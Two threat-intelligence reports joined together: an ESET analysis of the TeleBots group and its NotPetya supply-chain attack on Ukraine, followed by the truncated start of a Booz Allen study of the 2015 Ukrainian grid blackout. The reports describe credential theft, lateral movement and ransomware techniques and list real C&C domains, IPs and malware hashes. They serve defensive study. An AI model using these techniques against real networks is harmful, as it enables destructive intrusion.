C (aka ExPetr, PetrWrap, Petya, or NotPetya) outbreak and related information about previously unpublished attacks.
1/11 https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/ https://www.welivesecurity.com/author/acherepanov/ https://www.welivesecurity.com/category/ransomware-malware/ https://www.welivesecurity.com/2017/06/27/new-ransomware-attack-hits-ukraine/ Figure 1  The timeline of supply-chain attacks in Ukraine.
TeleBots In December 2016 we published two detailed blogposts about disruptive attacks conducted by the group ESET researchers call TeleBots, specifically about attacks against financial institutions and a Linux version of the KillDisk malware used by this group.
The group mounted cyberattacks against various computer systems in Ukraine systems that can be defined as critical infrastructure.
Moreover, this group has connections with the infamous BlackEnergy group that was responsible for the December 2015 power outages in Ukraine.
In the final stage of its attacks, the TeleBots group always used the KillDisk malware to overwrite files with specific file extensions on the victims disks.
Putting the cart before the horse: collecting ransom money was never the top priority for the TeleBots group.
The KillDisk malware used in the first wave of December 2016 attacks, instead of encrypting, simply overwrites targeted files.
Further, it did not provide contact information for communicating with the attacker it just displayed an image from the Mr.
Robot TV show.
2/11 https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/ https://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt/ https://en.wikipedia.org/wiki/Critical_infrastructure https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/ Figure 2  The picture displayed by KillDisk malware in the first wave of December 2016 attacks.
In the second wave of attacks, the cybersaboteurs behind the KillDisk malware added contact information to the malware, so it would look like a typical ransomware attack.
However, the attackers asked for an extraordinary number of bitcoins: 222 BTC (about 250,000 at that time).
This might indicate that they were not interested in bitcoins, but their actual aim was to cause damage to attacked companies.
Figure 3  The ransom demand displayed by KillDisk in the second wave of December 2016 attacks.
In 2017, the TeleBots group didnt stop their cyberattacks in fact, they became more sophisticated.
In the period between January and March 2017 the TeleBots attackers compromised a software company in Ukraine (not related to M.E.
Doc), and, using VPN tunnels from there, gained access to the internal networks of several financial institutions.
During that attack, those behind TeleBots enhanced their arsenal with two pieces of ransomware and updated versions of tools mentioned in the previously-linked blogposts.
The first backdoor that the TeleBots group relied heavily on was Python/TeleBot.
A, which was rewritten from Python 3/11 in the Rust programming language.
The functionality remains the same: it is a standard backdoor that uses the Telegram Bot API in order to receive commands from, and send responses to, the malware operator.
Figure 4  Disassembled code of the Win32/TeleBot.
AB trojan.
The second backdoor, which was written in VBS and packaged using the script2exe program, was heavily obfuscated but the functionality remained the same as in previous attacks.
Figure 5  The obfuscated version of the VBS backdoor.
This time the VBS backdoor used the CC server at 130.185.250[.
]171.
To make connections less suspicious for those who check firewall logs, the attackers registered the domain transfinance.com[.
]ua and hosted it on that IP address.
As is evident from Figure 6 this server was also running the Tor relay named severalwdadwajunior.
4/11 Figure 6  Information about Tor relay run by the TeleBots group.
In addition, the attacker used the following tools: CredRaptor (password stealer) Plainpwd (modified Mimikatz used for recovering Windows credentials from memory) SysInternals PsExec (used for lateral movement) As mentioned above, in the final stage of their attacks, the TeleBots attackers pushed ransomware using stolen Windows credentials and SysInternals PsExec.
This new ransomware was detected by ESET products as Win32/Filecoder.
NKH.
Once executed, this ransomware encrypts all files (except files located in the C:\Windows directory) using AES-128 and RSA-1024 algorithms.
The malware adds the .xcrypted file extension to already- encrypted files.
When encryption is done, this filecoder malware creates a text file readme.txt with the following content: Please contact us: openy0urm1ndprotonmail.ch In addition to Windows malware, the TeleBots group used Linux ransomware on non-Windows servers.
This ransomware is detected by ESET products as Python/Filecoder.
R and, predictably, it is written in the Python programming language.
This time attackers execute third-party utilities such as openssl in order to encrypt files.
The encryption is done using the RSA-2048 and AES-256 algorithms.
5/11 Figure 7  Python code of Linux ransomware Python/Filecoder.
R used by the TeleBots group.
In the code of Python script, attackers left their comment which had following text: feedback: openy0urm1nd[]protonmail.ch Win32/Filecoder.
AESNI.C On 18 May 2017, we noticed new activity on the part of another ransomware family Win32/Filecoder.
AESNI.C (also referred to as XData).
This ransomware was spread mostly in Ukraine, because of an interesting initial vector.
According to our LiveGrid telemetry, the malware was created right after execution of the M.E.Doc software that is widely used by accounting personnel in Ukraine.
The Win32/Filecoder.
AESNI.C ransomware had a spreading mechanism that allowed it to perform lateral movement automatically, inside a compromised company LAN.
Specifically, the malware had an embedded Mimikatz DLL that it used to extract Windows account credentials from the memory of a compromised PC.
With these credentials, the malware started to spread inside its host network using SysInternals PsExec utility.
It seems that the attackers either did not reach their goal on that occasion, or it was the test before a more effective strike.
The attackers posted master decryption keys on the BleepingComputer forum, along with the assertion that this was done because the original author claimed that the source was stolen and used in the Ukraine incident.
ESET published a decryption tool  for Win32/Filecoder.
AESNI ransomware, and this event didnt gain much media attention.
Diskcoder.
C (aka Petya-like) outbreak What did gain a lot of media attention, however, was the Petya-like outbreak of 27 June, 2017, because it successfully compromised a lot of systems in critical infrastructure and other businesses in Ukraine, and further afield.
The malware in this attack has the ability to replace the Master Boot Record (MBR) with its own malicious code.
This code was borrowed from Win32/Diskcoder.
Petya ransomware.
Thats why some other malware researchers 6/11 https://www.welivesecurity.com/2017/05/23/xdata-ransomware-making-rounds-amid-global-wannacryptor-scare/ https://www.bleepingcomputer.com/news/security/aes-ni-ransomware-dev-releases-decryption-keys-amid-fears-of-being-framed-for-xdata-outbreak/ https://www.welivesecurity.com/2017/05/31/eset-releases-new-decryption-tool-aes-ni-ransomware/ https://www.welivesecurity.com/2017/06/27/new-ransomware-attack-hits-ukraine/ http://virusradar.com/en/Win32_Diskcoder.
Petya.B/description have named this threat as ExPetr, PetrWrap, Petya, or NotPetya.
However, unlike the original Petya ransomware, Diskcoder.
Cs authors modified the MBR code in such a way that recovery wont be possible.
Specifically, the attacker cannot provide a decryption key and the decryption key cannot be typed in the ransom screen, because the generated key contains non-acceptable characters.
Visually this MBR part of Diskcoder.
C looks like a slightly modified version of Petya: at first it displays a message that impersonates CHKDSK, Microsofts disk checking utility.
During the faux CHKDISK scan Diskcoder.
C actually encrypts the data.
Figure 8  Fake CHKDSK message displayed by Diskcoder.
C. When encryption is complete, the MBR code displays the next message with payment instructions, but as noted before this information is useless.
Figure 9  Diskcoder.
C message with payment instructions.
The remainder of the code, other than the borrowed MBR, was implemented by the authors themselves.
This includes file encryption that can be used as a complement to the disk-encrypting MBR.
For file encryption, the 7/11 malware uses the AES-128 and RSA-2048 algorithms.
It should be noted that the authors made mistakes that make decryption of files less possible.
Specifically, the malware encrypts only the first 1MB of data and it does not write any header or footer, only raw encrypted data and does not rename encrypted files, so its hard to say which files are encrypted and which are not.
In addition to that, files that are larger than 1MB after encryption do not contain padding, so there is no way to verify the key.
Interestingly, the list of target file extensions is not identical but is very similar to the file extensions list from the KillDisk malware used in the December 2016 attacks.
Figure 10  List of target file extensions from Diskcoder.
C. Once the malware is executed it attempts to spread using the infamous EternalBlue exploit, leveraging the DoublePulsar kernel-mode backdoor.
Exactly the same method was used in the WannaCryptor.
D ransomware.
Diskcoder.
C also adopted the method from the Win32/Filecoder.
AESNI.C (aka XData) ransomware: it uses a lightweight version of Mimikatz to obtain credentials and then executes the malware using SysInternals PsExec on other machines on the LAN.
In addition to that, the attackers implemented a third method of spreading using a WMI mechanism.
All three of these methods have been used to spread malware inside LANs.
Unlike the infamous WannaCryptor malware, the EternalBlue exploit is used by Diskcoder.
C only against computers within the local network address space.
Why are there infections in other countries than Ukraine?
Our investigation revealed that affected companies in other countries had VPN connections to their branches, or to business partners, in Ukraine.
Initial infection vector Both Diskcoder.
C and Win32/Filecoder.
AESNI.C used a supply-chain attack as the initial infection vector.
These malware families were spread using Ukrainian accounting software called M.E.Doc.
There are several options for how this attack can be implemented.
The M.E.Doc has an internal messaging and document exchange system so attackers could send spearphishing messages to victims.
User interaction is required in order to execute something malicious in this way.
Thus, social engineering techniques would be involved.
Since Win32/Filecoder.
AESNI.C didnt spread so widely, we mistakenly assumed that these techniques were used in this case.
However, the subsequent Diskcoder.
C outbreak suggests that the attackers had access to the update server of the legitimate software.
Using access to this server, attackers pushed a malicious update that was applied automatically without user interaction.
Thats why so many systems in Ukraine were affected by this attack.
However, it seems like the malware authors underestimated the spreading capabilities of Diskcoder.
C. ESET researchers found evidence that supports this theory.
Specifically, we identified a malicious PHP backdoor that was deployed under medoc_online.php in one of the FTP directories on M.E.Docs server.
This backdoor was accessible from HTTP however, it was encrypted, so the attacker would have to have the password in order to use it.
8/11 https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/ https://www.welivesecurity.com/2017/05/15/wannacryptor-key-questions-answered/ Figure 11  Listing of FTP directory containing the PHP backdoor.
We should say that there are signs that suggest that Diskcoder.
C and Win32/Filecoder.
AESNI.C were not the only malware families that were deployed using that infection vector.
We can speculate that these malicious updates were deployed in a stealthy way to computer networks that belong to high-value targets.
One such malware that was deployed via this possible compromised M.E.Doc update server mechanism was the VBS backdoor used by the TeleBots group.
This time the attacker again used a financially-themed domain name: bankstat.kiev[.
]ua.
On the day of the Diskcoder.
C outbreak, the A-record of this domain was changed to 10.0.0.1 Conclusions The TeleBots group continues to evolve in order to conduct disruptive attacks against Ukraine.
Instead of spearphishing emails with documents containing malicious macros, they used a more sophisticated scheme known as a supply-chain attack.
Prior to the outbreak, the Telebots group targeted mainly the financial sector.
The latest outbreak was directed against businesses in Ukraine, but they apparently underestimated the malware spreading capabilities.
Thats why the malware went out of control.
Indicators of Compromise (IoC) ESET detection names: Win32/TeleBot trojan VBS/Agent.
BB trojan VBS/Agent.
BD trojan VBS/Agent.
BE trojan Win32/PSW.Agent.
ODE trojan Win64/PSW.Agent.
K trojan Python/Filecoder.
R trojan Win32/Filecoder.
AESNI.C trojan Win32/Filecoder.
NKH trojan Win32/Diskcoder.
C trojan Win64/Riskware.
Mimikatz application Win32/RiskWare.
Mimikatz application CC servers: 9/11 transfinance.com[.
]ua (IP: 130.185.250.171) bankstat.kiev[.
]ua (IP: 82.221.128.27) www.capital-investing.com[.
]ua (IP: 82.221.131.52) Legitimate servers abused by malware authors: api.telegram.org (IP: 149.154.167.200, 149.154.167.197, 149.154.167.198, 149.154.167.199) VBS backdoor: 1557E59985FAAB8EE3630641378D232541A8F6F9 31098779CE95235FED873FF32BB547FFF02AC2F5 CF7B558726527551CDD94D71F7F21E2757ECD109 Mimikatz: 91D955D6AC6264FBD4324DB2202F68D097DEB241 DCF47141069AECF6291746D4CDF10A6482F2EE2B 4CEA7E552C82FA986A8D99F9DF0EA04802C5AB5D 4134AE8F447659B465B294C131842009173A786B 698474A332580464D04162E6A75B89DE030AA768 00141A5F0B269CE182B7C4AC06C10DEA93C91664 271023936A084F52FEC50130755A41CD17D6B3B1 D7FB7927E19E483CD0F58A8AD4277686B2669831 56C03D8E43F50568741704AEE482704A4F5005AD 38E2855E11E353CEDF9A8A4F2F2747F1C5C07FCF 4EAAC7CFBAADE00BB526E6B52C43A45AA13FD82B F4068E3528D7232CCC016975C89937B3C54AD0D1 Win32/TeleBot: A4F2FF043693828A46321CCB11C5513F73444E34 5251EDD77D46511100FEF7EBAE10F633C1C5FC53 Win32/PSW.Agent.
ODE (CredRaptor): 759DCDDDA26CF2CC61628611CF14CFABE4C27423 77C1C31AD4B9EBF5DB77CC8B9FE9782350294D70 EAEDC201D83328AF6A77AF3B1E7C4CAC65C05A88 EE275908790F63AFCD58E6963DC255A54FD7512A EE9DC32621F52EDC857394E4F509C7D2559DA26B FC68089D1A7DFB2EB4644576810068F7F451D5AA 10/11 Win32/Filecoder.
NKH: 1C69F2F7DEE471B1369BF2036B94FDC8E4EDA03E Python/Filecoder.
R: AF07AB5950D35424B1ECCC3DD0EEBC05AE7DDB5E Win32/Filecoder.
AESNI.C: BDD2ECF290406B8A09EB01016C7658A283C407C3 9C694094BCBEB6E87CD8DD03B80B48AC1041ADC9 D2C8D76B1B97AE4CB57D0D8BE739586F82043DBD Win32/Diskcoder.
C: 34F917AABA5684FBE56D3C57D48EF2A1AA7CF06D PHP shell: D297281C2BF03CE2DE2359F0CE68F16317BF0A86 11/11 TeleBots are back: Supply-chain attacks against Ukraine TeleBots Win32/Filecoder.
AESNI.C Diskcoder.
C (aka Petya-like) outbreak Initial infection vector Conclusions Indicators of Compromise (IoC)
A COMPREHENSIVE RE VIE W OF THE 2015 AT TACKS ON UKR AINIAN CRITIC AL INFR A S TRUC TURE WHEN THE LIGHTS WENT OUT Executive Summary ................................................................................................ 1 Introduction ............................................................................................................ 3 A Regional Campaign ............................................................................................. 5 Attack Walk Through ..............................................................................................11 Top 10 Takeaways: What to Consider When Protecting Your OT Environment .... 23 Conclusion  ............................................................................................................ 25 Appendix A: Detailed Textual Description of Attack Walk Through ..................... 29 Appendix B: Malware Samples .............................................................................. 38 Appendix C: BlackEnergy Plugins .......................................................................... 59 Appendix D: Alternate Remote Access Trojans ..................................................... 61 Appendix E: Sources .............................................................................................. 63 C O N T E N T S On December 23, 2015, unknown cyber actors disrupted energy-grid operations for the first time ever,a causing blackouts for over 225,000 customers in Ukraine.1 Among the most striking features of this attack were the complexity of organization and planning, the discipline in execution, and capability in many of the discrete tasks exhibited by the threat actors.
Over the course of nearly a year prior to the attack, these unknown actors clandestinely established persistent access to multiple industrial networks, identified targets, and ultimately carried out a complex set of actions, which not only disrupted electricity distribution in Ukraine, but also destroyed IT systems, flooded call centers, sowed confusion, and inhibited incident response.
The attackers used a malware tool, BlackEnergy 3, designed to enable unauthorized network access, then used valid user credentials to move laterally across internal systems, and ultimately shut down electricity distribution using the utilities native control systems.
This report details the step-by-step process the actors took and seeks to highlight the opportuni- ties for detection and prevention across the various steps of the attack.
Combining open- source intelligence analysis of the attack and malware analysis of the tools used by the threat actors in their operation, we break down the integration of both human interaction and malware-executed processes as components of the December 2015 events.
This Booz Allen report expands on previous incident analysis published in spring 2016, going beyond by including additional detail about the attack chain based on malware execution, a more detailed mapping of targeted and affected infrastructure, and a much wider view on similar and potentially related Black Energy (BE) campaigns against Ukrainian infrastructure.
This report provides a highly accessible and factual account of the incident.
By providing this comprehensive view of the events, this report provides operators, plant managers, chief information security officers, and key industrial security  decision makers a view of how an attack could be conducted against their networks and infrastructure, andmore importantlysome advice on how to mitigate attacks such as these in the future.
This attack was exceptionally well organized and executed, but the tools necessary to mitigate and minimize the impact of an attack such as this are not difficult to implement.
By implementing a well-designed defense-in-depth protection strategy, industrial network and ICS/SCADA defenders can effectively address the threats facing their organizations.
This report highlights the important components this strategy ought to include, based on the methods used in the Ukraine attack.
E X E C U T I V E S U M M A R Y a.
Despite early reporting indicating that disruptions in Brazils electrical grid in 2007 were the result of a cyberattack, further investigation ultimately attributed the blackouts to inadequate maintenance.
www.boozallen.com/ICS         1 Shortly before sunset on December 23, 2015, hackers remotely logged into workstations at a power distribution company in western Ukraine, clicked through commands in the operators control system interface, and opened breakers across the electrical grid one by one.
Before they were finished, they struck two more energy distribution compa- nies, in rapid succession, plunging thousands of businesses and households into the cold and growing darkness for the next six hours.2 These attacks were not isolated incidents, but the culmination of a yearlong campaign against a wide range of Ukrainian critical infrastructure operations.
In addition to three energy distribution companies, Prykarpattyaoblenergo,3 Kyivoblenergo,4 and Chernivtsioblenergo,5 threat actors had also previously targeted several other critical infrastruc- ture sectors, including government, broadcast media, railway, and mining operators.
The attacks in Ukraine were a watershed moment for cybersecurity for the first time, malicious cyber threat actors had successfully and publicly disrupted energy-grid operations, causing blackouts across multiple cities.
The power outage was also one of the few known cyber- attacks against a supervisory control and data acquisition (SCADA) system, a type of system critical to automation in many sectors, including transportation, manufacturing, heavy industry, and oil and gas.
This report details the actions threat actors took in each step of the attack, including an analysis of associated malware and other identified indicators of compromise (IoC).
This report also includes, as an appendix, detailed technical analysis of the associated malwares function and use.
By tracing this attack from early exploration and target identification to turning the lights out on Ukrainian cities, this report serves as an aid to the security professionals charged with securing industrial control systems (ICS) and is equally relevant across a range of other critical infrastructure sectors.
By understanding the current tactics, techniques, and procedures (TTP) that the threat actors used in this attack, and those that are most likely to be used against ICS systems in the future, security professionals can use this case study to plan for future threats against their own systems.
Though this attack targeted operators in the electricity distribution sector, the TTPs illustrated in this attack are applicable to nearly all ICS sectors including oil and gas, manufacturing, and transportation.
A reconnaissance campaign against US ICS operators in 20112014 using the same malware family deployed across Ukraines critical infrastructure raises the urgency of understanding this disruptive Ukrainian attack.
ADDRESSING THE THREAT In a series of unique, discrete steps, the threat actors deployed malware gained access to targeted corporate networks stole valid credentials moved into the operators control environment identified specific targets and remotely disrupted the power supply.
Each task was a missed opportunity for defenders to block, frustrate, or discover the attackers operations before they reached their final objectives.
The Ukraine incident also demonstrates that no single mitigation can prevent an attacks success.
The attackers followed multiple avenues to eventually overcome challenges and move onto the attack sequences next components.
The most effective strategy for repelling complex attacks, therefore, is defense in depth.
Layering defenses can raise the adversarys cost of conducting attacks, increase the likelihood of detection by a network defender, and prevent a single point of failure.
All mitigation techniques, from I N T R O D U C T I O N INDUSTRIAL SECURITY THREAT BRIEFING This attack on Ukraines electric grid is the most damaging of the increas- ingly common attacks against ICS systems.
ICS operators reported more security incidents in 2015 than in any other year.
Complementing the detailed, procedural analysis provided in this report, Booz Allens Industrial Security Threat Briefing provides a broader perspective on the cyber threat landscape ICS operators face.
The Industrial Security Threat Briefing includes an overview of the emerging tactics and active threat actors observed in 2015 and 2016, as well as the threats most likely to affect ICS operators in the coming years.
The report is available at http://www.boozallen.com/ insights/2016/06/industrial- cybersecurity-threat-briefing.
www.boozallen.com/ICS         3 http://www.boozallen.com/insights/2016/06/industrial-cybersecurity-threat-briefing/ http://www.boozallen.com/insights/2016/06/industrial-cybersecurity-threat-briefing/ http://www.boozallen.com/insights/2016/06/industrial-cybersecurity-threat-briefing/ architectural segmentation and network moni- toring, to access control and threat intelligence, should be complementary efforts in a wide- reaching process and network defense strategy that aims to protect the environment, making it so difficult, expensive, or time consuming that it ultimately deters the attacker.
OUR RESEARCH METHODOLOGY Though the attacks against Ukraines electrical grid in December 2015 have been discussed widely in public reporting, this report seeks to build upon the analysis to provide a more comprehensive account.
By analyzing the malware tools used in the attack and using open-source intelligence gathering, this report seeks to tie together the wide body of existing information on this event and fill the gaps in other reports.
This report leverages an extensive analysis of publicly reported data on the attack, as well as our own deep-dive technical analysis of recovered malware samples used in the attack.
Public reporting on the incident and related attack data was collected manually or through automated searches on publicly accessible internet sites.
The sources included, but were not limited to, English and foreign language media, advisories and alerts from US and foreign government cybersecurity organizations, and analysis by independent security researchers.
References to IoCs and other attack data were used to identify related incidents, then analyze and integrate their findings with this attack.
Analysis of public reporting was complemented with a thorough technical analysis of recovered malware samples used in the December 2015 attacks against the electrical distributors, as well as samples from related attacks.
Our technical analysis was used to verify, corroborate, and expand on existing reports detailing threat actor activity leading up to and during the incident.
Experienced reverse engineers used disassembler and debugger software to navigate through the malware code to identify its capabilities and unique characteristics.
Reverse engineers used both static and dynamic analysis, allowing them to see how the malware behaves on a system with the freedom to run in a debugger in order to force or bypass certain conditions, thereby allowing the malware to take multiple paths.
By recording system changes made by the malware, the reverse engineers were able to gather key data needed to identify further system infections, as well as potential mitigations.
This investigation also emphasized analyzing the recovered samples within the context of their broader malware family.
Using YARA, a tool to identify binary or textual signatures within malware, analysts pivoted to new samples in an effort to identify new capabilities and different variants of the malware.
This comprehensive report completes the view of the attack sequence for this incident.
Acknowledgments Several in-depth reports have been released, each covering a different facet of the December 2015 attacks in Ukraine.
The SANS Institute, in partnership with the Electricity Information Sharing and Analysis Center (E-ISAC),6 as well as the US Department of Homeland Securitys National Cybersecurity and Communi- cations Integration Center (NCCIC)7, have both produced detailed reports covering the incident.
Security researchers at F-Secure8 and ESET9 have conducted extensive analysis of the BlackEnergy malware, and reporting produced by Cys-Centrum10 and Trend Micro11 have sought to lay out the common ties across the string of similar, and likely related, cyber attacks against Ukrainian critical infrastructure.
Each of these accounts provides a different piece of the larger picture, which this report lays out.
4 Booz Allen Hamilton Our research and analysis of the December 2015 blackout showed that the attack against Ukraines electricity grid was not an isolated incident, but in fact a continuation of a theme of a steady, deliberate attacks against Ukraines critical infrastructure.
This long-running campaign likely reflects a significant, concerted effort by a single threat actor with a well-organized capability and interest in using cyberattacks to undermine Ukraines socio-political fabric.
Each of the attacks used a common set of TTPs that had been used in earlier incidents in the previous months, detailed in Exhibit 1.
To put the December 2015 attack in context, our research uncovered an additional 10 related attacks, the last of which occurred in January 2016.
Exhibit 1 shows the timing, tech- niques and target sectors in this 18-month campaign.
A  R E G I O N A L C A M P A I G N www.boozallen.com/ICS         5 Electricity Sector Railway Sector Television Sector Mining Sector Regional Government/ Public Archives M ay Ju ne Ju ly Au gu st Se pt em be r O ct ob er N ov em be r D ec em be r Ja nu ar y Fe br ua ry M ar ch Ap ril M ay Ju ne Ju ly Au gu st Se pt em be r O ct ob er N ov em be r D ec em be r Ja nu ar y Fe br ua ry M ar ch 20152014 Attack Tools Phishing MS Oce Malicious VBA Other Weaponization BlackEnergy Other RAT KillDisk 1 21 2 3 3 4 4 5 5 6 6 7 7 8 9 9 8 10 11 11 Gained Access Data Destruction Physical Impact Undisclosed 2016 10 EXHIBIT 1.
CYBER THRE AT L ANDSCAPE IN UKR AINE 6 Booz Allen Hamilton 1.
May 2014 (Electricity) On May 12, 2014, threat actors targeted Ukrainian electricity distributor Prykarpattyaoblenergo in a phishing campaign using weaponized Microsoft (MS) Word documents.12 The threat actors forged the sender addresses and modified the weaponized MS Word attachments with a malicious PE-executable file inserted into the icon image associated with file.13 2.
May 2014 (Railway) On May 12, 2014, threat actors targeted all six of Ukraines state railway transporta- tion system operators in a phishing campaign using weaponized MS Word documents.14 The threat actors forged the sender addresses and modified the weaponized MS Word attachments with a malicious PE-executable file inserted into the icon image associated with file.15 3.
August 2014 (Ukrainian Regional Government, Archives) In August 2014, threat actors began a wide-reaching phishing campaign using weaponized MS Power Point files.
The weaponized files exploited a zero-day vulnerability (CVE-2014-4114) to deliver BlackEnergy Malware to targeted systems.16,17 Targets included five Ukrainian regional govern- ments, and the state archive of Chernivtsi Oblast, one of the three oblasts targeted in the December 2015 Electricity distributor attacks.18,19 4.
March 2015 (Media) In early March 2015, threat actors conducted a phishing campaign against Ukrainian television broadcasters, using weaponized MS Excel and MS PowerPoint documents (1.xls and 2.pps).20 The weapon- ized documents contained malicious Visual Basic Application (VBA) and JAR files designed to drop BlackEnergy malware on targeted systems.21 5.
March 2015 (Electricity) In late March 2015, threat actors conducted a phishing campaign targeting electricity operators in western Ukraine using the weaponized MS Excel file (1.xls) used earlier that month against broadcast media targets.
As with the earlier attack, the file included a malicious macro designed to install BlackEnergy.22 6.
March 2015 (State Archives) Also in late March 2015, threat actors targeted Ukrainian state archives in phishing attacks using the same weaponized MS Excel file (1.xls), malicious macro, and BlackEnergy malware.23 7.
October 2015 (Television Broadcast) On October 24 and October 25, 2015, Ukrainian election day, threat actors used KillDisk malware to destroy video data and server hardware, and render employee workstations inoperable at multiple Ukrainian television broadcasters.24,25 Targeted systems were found to be infected with the same BlackEnergy and KillDisk samples observed in attacks against a railway operator, mining company, and electricity distributors in November and December 2015.
Investigation of the incident indicated access to the network was established May 2015.26 8.
NovemberDecember (Railway) In November December 2015, an undisclosed Ukrainian Railway firm, operating under the Ukrainian State Administration of Railway Transport, was targeted in a cyberattack using BlackEnergy and KillDisk malware.27 The method for establishing initial access to targeted networks was not disclosed.
9.
NovemberDecember 2015 (Mining) In NovemberDecember 2015, an undisclosed Ukrainian Mining firm was targeted in a cyberattack using BlackEnergy and KillDisk malware.28 The method for establishing initial access to targeted networks was not disclosed.
10.
December 2015 (Electricity) On December 23, 2015, threat actors opened breakers and disrupted electricity distribution at three Ukrainian firms: Prykarpattyaoblenergo, Kyivoblenergo, and Chernivtsioblenergo.
Full details of this attack are included in the Attack Walk Through section of this report.
11.
January 2016 (Electricity) On January 19 and 20, 2016, threat actors targeted approximately 100 organizations, including many Ukrainian energy firms,29 in a phishing campaign.30 The malicious emails were designed to look as though they were sent by Ukrainian energy distributor NEC Ukrenergo.31 The emails included a weaponized MS Excel document, which prompted users to enable macros once enabled, a malicious VBA script installed GCat, an open-source, python-based trojan which disguises communications with the command-and-control (CC) server as Gmail email traffic.32 BLACKENERGY MALWARE BlackEnergy is a remote-access trojan designed to provide unauthorized access to targeted networks via an HTTP connection with an external server.
Its modular design allows it to accept additional plugins to carry out specific functions, such as stealing credentials or conducting network reconnaissance.
www.boozallen.com/ICS         7 ATTRIBUTION Though the Security Service of Ukraine (SBU) immediately implicated Russia in the attack,33 there is no smoking gun which irrefutably connects the December 2015 attacks in Ukraine to a specific threat actor.
The limited technical attribution data, such as the attackers using a Russia-based Internet provider and launching the telephony denial-of-service (TDoS) flood traffic from inside Russia,34 point to Russian threat actors, though this evidence is not conclusive unto itself.
Some inferences can be made based on the history of the tools used, how the attack was carried out, and the outcomes that were achieved.
Cybercriminal organizations and state-backed groups are often the most well- resourced, organized, and technically advanced cyber threat actors.
BlackEnergy first emerged as a DDoS tool in 200735 and has a history of use by criminal organizations.
The most notable criminal operation was a series of attacks in 2011 against Russian and Ukrainian banks, in which criminals used BlackEnergy 2 to steal online credentials and obfuscate the attacks with distributed deni- al-of-service (DDoS) floods.36 Despite these criminal roots, BlackEnergy often rears its head in attacks with particular political significance, typically targeting organizations and countries with adversarial relations with Russia.
In 2008, during Russias conflict with Georgia, Georgian networks were bombarded with a DDoS attack by a botnet constructed with the first iteration of BlackEnergy, and controlled by CC servers hosted on Russian state-owned compa- nies.37,38 BlackEnergy was also used in June 2014, targeting a French telecommunications firm, by a group known to conduct cyberattacks against NATO, Western European governments, and several regional Ukrainian governments.39,40,b In addition, the KillDisk malware, used in conjunction with BlackEnergy, was first observed in a data destruction attack against servers operated by several Ukrainian news outlets on October 2425, 2015, Ukraines election day.41 As security researchers have pointed out, the overlap in usage of the malware by multiple groups, including criminal organizations, would be convenient for a state-backed group as this provides a degree of plausible deniability.42 As noted above though, the targets selected in previous campaigns using BlackEnergy often align to Russian political interests.
Furthermore, the activity associated with the December 2015 attack does not appear to align to a criminal organiza- tions likely goal of financial gain.
Threat actors invested significant resources in establishing, maintaining, and expanding persistent access on targeted networks for nearly a year.
They conducted extensive network reconnaissance, likely developed malicious firmware, familiarized themselves with the native control environment, and then ultimately revealed their presence in a destructive attack.
The extensive resources invested, and no apparent financial return, indicate the attackers likely objective was to use the attack to send a message.
b.
Reporting did not specify whether if used BlackEnergy malware was used in the attacks against NATO or other European govern- ment targets.
8 Booz Allen Hamilton INTENT Several plausible theories that have been proposed may explain the threat actors motiva- tions for conducting the attacks, as well as its timing, target, and impact.
It is possible that the adversary was motivated by several of the posited theories, though the attack was probably designed to send a message to the Ukrainian government, rather than gain a lasting benefit.
CONVEY DISPLEASURE WITH PLANS TO NATIONALIZE RUSSIAN-OWNED ASSETS One theory that has circulated in cybersecurity circles is that the attackers may have intended to convey displeasure with a Ukrainian proposal43,44 to nationalize assets owned by Russia and its citizens.45 The policy would have harmed influential Russian oligarchs with investments in Ukraines energy sector.
For example, Alexander Babakova senior member of Russias national legislature and a current target of EU sanc- tions46is a main shareholder in VS Energy.
It is one of the largest electricity distributors in the Ukrainian market, with ownership stakes in nine of the 27 oblenergos and a 19-percent electricity- distribution market share, as of 2010.47 Based on available evidence, however, we find the theory unconvincing.
The timing of the attack and the particular target made it an unlikely symbolic target for expressing a position on nationalization.
Discussions about nationalizing Russian assets had not been a headline issue since the spring of 2015, more than six months before the disruption the lack of temporal proximity between the two events blurred or watered down the symbolic value of the attack vis--vis nationalization.
POLITICAL DESTABILIZATION CULTIVATE GENERAL FEAR AND DISCONTENT Another possible objective was to destabilize Ukraine politically.
As indicated above, a wide swath of Ukrainian organizations were caught in the attackers larger collection of networks compromised with BlackEnergy, including targets in the railway, mining, broadcast media and government sectors.48 This trend indicates the objective may have been to disrupt a critical service provider or critical industry, rather than an energy company specifically.
By disrupting operations in critical infrastructure, the threat actors may have sought to reduce confidence in the Ukrainian government.
This strategy would be consistent with Russias information warfare doctrine, which seeks to sow discontent in a target country or region in order to induce political and economic collapse.49 boozallen.com/ics         9 IN-KIND RETALIATION Another possible objective may have been in-kind retaliation for perceived Ukrainian disruptions of electricity to Crimea.
On November 2122, 2015, Crimea lost power for more than six hours due to physical attacks on four pylons carrying transmis- sion wires.50 The identity of the saboteurs has not been publicly determined, but they are rumored to be Ukrainian nationalists.51 Crimea is reliant on Ukraine, as the country supplies about 70 percent of Crimeas power.52 Russia intends to obviate this risky reliance by constructing a new energy bridge between Crimea and Russia, which will be able to supply 7080 percent of Crimeas power needs.53 If this was the objective in the attack, it would indicate that Russia may actively seek to gain footholds in critical services providers with the intention to execute attacks at strategically useful times.
This would be consistent with similar attacks against critical infrastructure in other adversarial nations in Western Europe54 and the US55 that have been attributed to Russia.
OUTLOOK While politically motivated cyberattacks are not a novel foreign policy tool, the industries and organizations that serve as potential targets are expanding.
Cyberattacks present a powerful political tool, particularly those against critical infrastructure providers.
Industrial control systems operators are not above the fray in geopolitical rows, and may in fact be the new primary target.
10 Booz Allen Hamilton The attack walk through provided in this report is informed by analytical frameworks published by cybersecurity industry organizations,56,57 as well as proprietary methods for conducting open- source intelligence analysis and technical malware analysis.
To provide as complete a picture as possible for this report, as with other reporting on this incident, some inferences on the threat actors most likely method were required, as there does not exist a complete accounting of all actions the threat actors took in their campaign.
Wherever possible, inferences were based on confirmed technical evidence, such as identified malware capabilities and known hardware and software vulnerabilities.
This section provides the step-by-step walk through of threat actor activity during the attack.
Each step includes a high-level description, as well as a feature summary of the step with eight descriptors.
The eight descriptors are as follows: Location: This describes the network on which the activity occurred, including preparatory activity conducted outside of the targeted networks (listed as external infrastructure), as well as the logically or physically separated corporate network or ICS network operated by the electricity distributors.
